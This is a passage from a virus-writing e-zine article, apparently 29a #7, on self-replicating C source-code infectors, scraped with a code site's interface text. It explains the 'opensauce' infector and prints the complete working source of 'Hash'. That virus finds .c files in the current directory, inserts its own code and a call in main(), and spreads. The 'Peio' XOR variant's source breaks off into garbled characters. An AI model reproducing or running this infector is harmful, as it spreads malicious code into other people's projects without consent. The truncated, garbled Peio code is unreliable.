?? 29a-7.017
字號:
/* sauce! */
}
<--------------------------------------------------------------------------->
<-end of opensauce.c-------------------------------------------------------->
<--------------------------------------------------------------------------->
The code is not a jewel of the programming science, but it's useful to
show what it wanted and in addition works (more or less). In the
"charvirusend" array many lines have been suppressed not to fatten
unnecessarily this text (if you want a functional version of the code,
look for it in 29a #7 e-zine). The rest of code is quite trivial:
1) Search files in the current directory: open the directory with
opendir(), read each one of its entries with readdir() and close it
with closedir().
2) Once we have a possible victim, we verify thus if is a ".c" or ".C"
file, and if it has been already infected (if contains "/* sauce * /"
infection mark) and if it is a C source file with a main() function.
3) If all the specified in the previous point has been fulfilled, we
come to infect, copying the includes and the declaration of the
virus() function in the beginning (charinclude), adding a call to this
function within main(), and generating at the end of the code the
virus() function virus() (using "charvirus" and "charvirusend" in
addition to a few calls to write() to define arrays).
4) Once finished the infection, we close the file and the directory,
because we just infect one file each time.
5) virus() function ends and we return to the original code, and
everything works as it would have to work.
Let's see another example of this type of virus, something more
evolved:
<--------------------------------------------------------------------------->
<-hash.c-------------------------------------------------------------------->
<--------------------------------------------------------------------------->
/*
* Hash,
*
* quine-based source code infector.
* zert <zert@int80h.net>
*
*/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>
void init_hash();
int main(int argc, char *argv[])
{
init_hash();
}
void init_hash()
{
int i, j, fd, size, mpos, ipos, page,
ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
void *ptr;
char hashinc[] = "\n#include <stdio.h>\n#include <sys/stat.h>\n#include <sys/mman.h>\n#include <unistd.h>\n#include <dirent.h>\n#include <fcntl.h>\n\nvoid init_hash();\n";
char hashbeg[] = "\nvoid init_hash()\n{\n\tint i, j, fd, size, mpos, ipos, page, \n\tihole, thole, bhole, ehole; struct dirent *dir; DIR *d;\n\tvoid *ptr;\n\tchar hashinc[] = \"";
char hashend[] = "\tchar *buf;\n\n\td = opendir(\".\");\n\twhile((dir = readdir(d))>0)\n\t\tif(!(strcmp(dir->d_name+strlen(dir->d_name)-2,\".c\"))||\n\t\t !(strcmp(dir->d_name+strlen(dir->d_name)-2,\".C\"))) \n\t\t\tif((fd=open(dir->d_name, O_RDWR, 0))>=0)\n\t\t\t{\n\t\t\t\tsize = lseek(fd, 0, SEEK_END);\n\t\t\t\tptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);\n\t\t\t\tif( (!strstr(ptr,\"init_hash\")) &&\n\t\t\t\t ( ((mpos=(int)strstr(ptr,\"\\nmain(\"))>0) ||\n\t\t\t\t ((mpos=(int)strstr(ptr,\"\\nint main(\"))>0) ||\n\t\t\t\t ((mpos=(int)strstr(ptr,\"\\nvoid main(\"))>0) || \n\t\t\t\t ((mpos=(int)strstr(ptr,\"\\nmain (\"))>0) ||\n\t\t\t\t ((mpos=(int)strstr(ptr,\"\\nint main (\"))>0) ||\n\t\t\t\t ((mpos=(int)strstr(ptr,\"\\nvoid main (\"))>0) ) )\n\t\t\t\t{\n\t\t\t\t\tmpos = (int)strstr((void *)mpos, \";\\n\");\n\t\t\t\t\tmpos -= (int)--ptr;\n\t\t\t\t\tif( !(ipos = (int)strstr(++ptr, \"#include <\")) )\n\t\t\t\t\t{\n\t\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\tpage = 3 * (int)sysconf(_SC_PAGESIZE);\n\t\t\t\t\tftruncate(fd, size+page);\n\t\t\t\t\tptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);\n\t\t\t\t\tipos = (int)strstr(ptr, \"#include <\");\n\t\t\t\t\tipos = (int)strstr((void *)ipos, \"\\n\\n\");\n\t\t\t\t\tipos -= (int)ptr;\n\t\t\t\t\tihole = strlen(hashinc);\n\t\t\t\t\tfor(i=(size-ipos)/ihole;i>=0;i--) \n\t\t\t\t\t\tmemcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);\n\t\t\t\t\tmemcpy(ptr+ipos, hashinc, ihole);\n\t\t\t\t\tmpos += ihole;\n\t\t\t\t\tbuf = (char *)malloc(20*sizeof(char));\n\t\t\t\t\tstrcpy(buf,\"\\n\\tinit_hash();\");\n\t\t\t\t\tthole = strlen(buf);\n\t\t\t\t\tfor(i=(size+ihole-mpos)/thole;i>=0;i--) \n\t\t\t\t\t\tmemcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);\n\t\t\t\t\tmemcpy(ptr+mpos, buf, thole);\n\t\t\t\t\tbhole = strlen(hashbeg);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole, hashbeg, bhole);\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashinc));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashinc);i++,j++)\n\t\t\t\t\t\tswitch(hashinc[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashinc[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashbeg[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashbeg);i++,j++)\n\t\t\t\t\t\tswitch(hashbeg[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashbeg[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashend[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashend));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashend);i++,j++)\n\t\t\t\t\t\tswitch(hashend[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashend[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\");\n\t\t\t\t\tbhole += 3;\n\n\t\t\t\t\tehole = strlen(hashend);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, hashend, ehole);\n\t\t\t\t\tmsync(ptr, size+page, MS_SYNC);\n\t\t\t\t\tmunmap(ptr, size+page);\n\t\t\t\t\tftruncate(fd, size+ihole+thole+bhole+ehole);\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t}\n\t\t\t}\n}\n";
char *buf;
d = opendir(".");
while((dir = readdir(d))>0)
if(!(strcmp(dir->d_name+strlen(dir->d_name)-2,".c"))||
!(strcmp(dir->d_name+strlen(dir->d_name)-2,".C")))
if((fd=open(dir->d_name, O_RDWR, 0))>=0)
{
size = lseek(fd, 0, SEEK_END);
ptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);
if( (!strstr(ptr,"init_hash")) &&
( ((mpos=(int)strstr(ptr,"\nmain("))>0) ||
((mpos=(int)strstr(ptr,"\nint main("))>0) ||
((mpos=(int)strstr(ptr,"\nvoid main("))>0) ||
((mpos=(int)strstr(ptr,"\nmain ("))>0) ||
((mpos=(int)strstr(ptr,"\nint main ("))>0) ||
((mpos=(int)strstr(ptr,"\nvoid main ("))>0) ) )
{
mpos = (int)strstr((void *)mpos, ";\n");
mpos -= (int)--ptr;
if( !(ipos = (int)strstr(++ptr, "#include <")) )
{
munmap(ptr, size);
break;
}
munmap(ptr, size);
page = 3 * (int)sysconf(_SC_PAGESIZE);
ftruncate(fd, size+page);
ptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);
ipos = (int)strstr(ptr, "#include <");
ipos = (int)strstr((void *)ipos, "\n\n");
ipos -= (int)ptr;
ihole = strlen(hashinc);
for(i=(size-ipos)/ihole;i>=0;i--)
memcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);
memcpy(ptr+ipos, hashinc, ihole);
mpos += ihole;
buf = (char *)malloc(20*sizeof(char));
strcpy(buf,"\n\tinit_hash();");
thole = strlen(buf);
for(i=(size+ihole-mpos)/thole;i>=0;i--)
memcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);
memcpy(ptr+mpos, buf, thole);
bhole = strlen(hashbeg);
memcpy(ptr+size+ihole+thole, hashbeg, bhole);
/* declaracion de arrays y arrays */
buf = (char *)malloc(100*sizeof(char)+strlen(hashinc));
for(i=0,j=0;i<strlen(hashinc);i++,j++)
switch(hashinc[i])
{
case '\n':
sprintf(buf+j, "\\n");
j++;
break;
case '\t':
sprintf(buf+j, "\\t");
j++;
break;
case '\\':
sprintf(buf+j, "\\\\");
j++;
break;
case '\"':
sprintf(buf+j, "\\\"");
j++;
break;
default:
sprintf(buf+j, "%c", hashinc[i]);
}
memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
bhole += strlen(buf);
sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] =\"");
bhole += 21;
buf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));
for(i=0,j=0;i<strlen(hashbeg);i++,j++)
switch(hashbeg[i])
{
case '\n':
sprintf(buf+j, "\\n");
j++;
break;
case '\t':
sprintf(buf+j, "\\t");
j++;
break;
case '\\':
sprintf(buf+j, "\\\\");
j++;
break;
case '\"':
sprintf(buf+j, "\\\"");
j++;
break;
default:
sprintf(buf+j, "%c", hashbeg[i]);
}
memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
bhole += strlen(buf);
sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] =\"");
bhole += 21;
buf = (char *)malloc(100*sizeof(char)+strlen(hashend));
for(i=0,j=0;i<strlen(hashend);i++,j++)
switch(hashend[i])
{
case '\n':
sprintf(buf+j, "\\n");
j++;
break;
case '\t':
sprintf(buf+j, "\\t");
j++;
break;
case '\\':
sprintf(buf+j, "\\\\");
j++;
break;
case '\"':
sprintf(buf+j, "\\\"");
j++;
break;
default:
sprintf(buf+j, "%c", hashend[i]);
}
memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
bhole += strlen(buf);
sprintf(ptr+size+ihole+thole+bhole, "\";\n");
bhole += 3;
ehole = strlen(hashend);
memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);
msync(ptr, size+page, MS_SYNC);
munmap(ptr, size+page);
ftruncate(fd, size+ihole+thole+bhole+ehole);
} else
{
munmap(ptr, size);
}
}
}
<--------------------------------------------------------------------------->
<-end of hash.c------------------------------------------------------------->
<--------------------------------------------------------------------------->
In this example, hashes are in plain text and correspond to necessary
format strings to generate each code lines for the infection. In spite
of their size, hashes will occupy less enough within the executable
program, because all the escape characters will be reduced to one byte
each. As a counterpart, we will have to introduce the necessary code
to regenerate both chars that specify each escape character solely
(translating just '\t', '\n', '\\' and '\"').
All the remaining code are byte copies within the memory address where
the file resides, by using memcpy(). The use of mmap() and memcpy()
instead of open(), write() and lseek() speeds up the modification of
files enormously.
Finally, the "Peio" infector uses the same techniques that "Hash", but
in this case hashes are XORed, reason why escape characters like '\t'
or '\n' can be used without having to indicate it specifically. This
way, the size of the hash array is reduced considerably, in addition
to not needing the code that translates to two bytes each escape
character.
<--------------------------------------------------------------------------->
<-peio.c-------------------------------------------------------------------->
<--------------------------------------------------------------------------->
/*
* Peio,
*
* source code infector XORing hashes.
* zert <zert@int80h.net>
*
*/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>
void init_hash();
int main(int argc, char *argv[])
{
init_hash();
}
void init_hash()
{
int i, j, fd, size, mpos, ipos, page,
ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
void *ptr;
char hashinc[] = "姡軛沆蹁
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -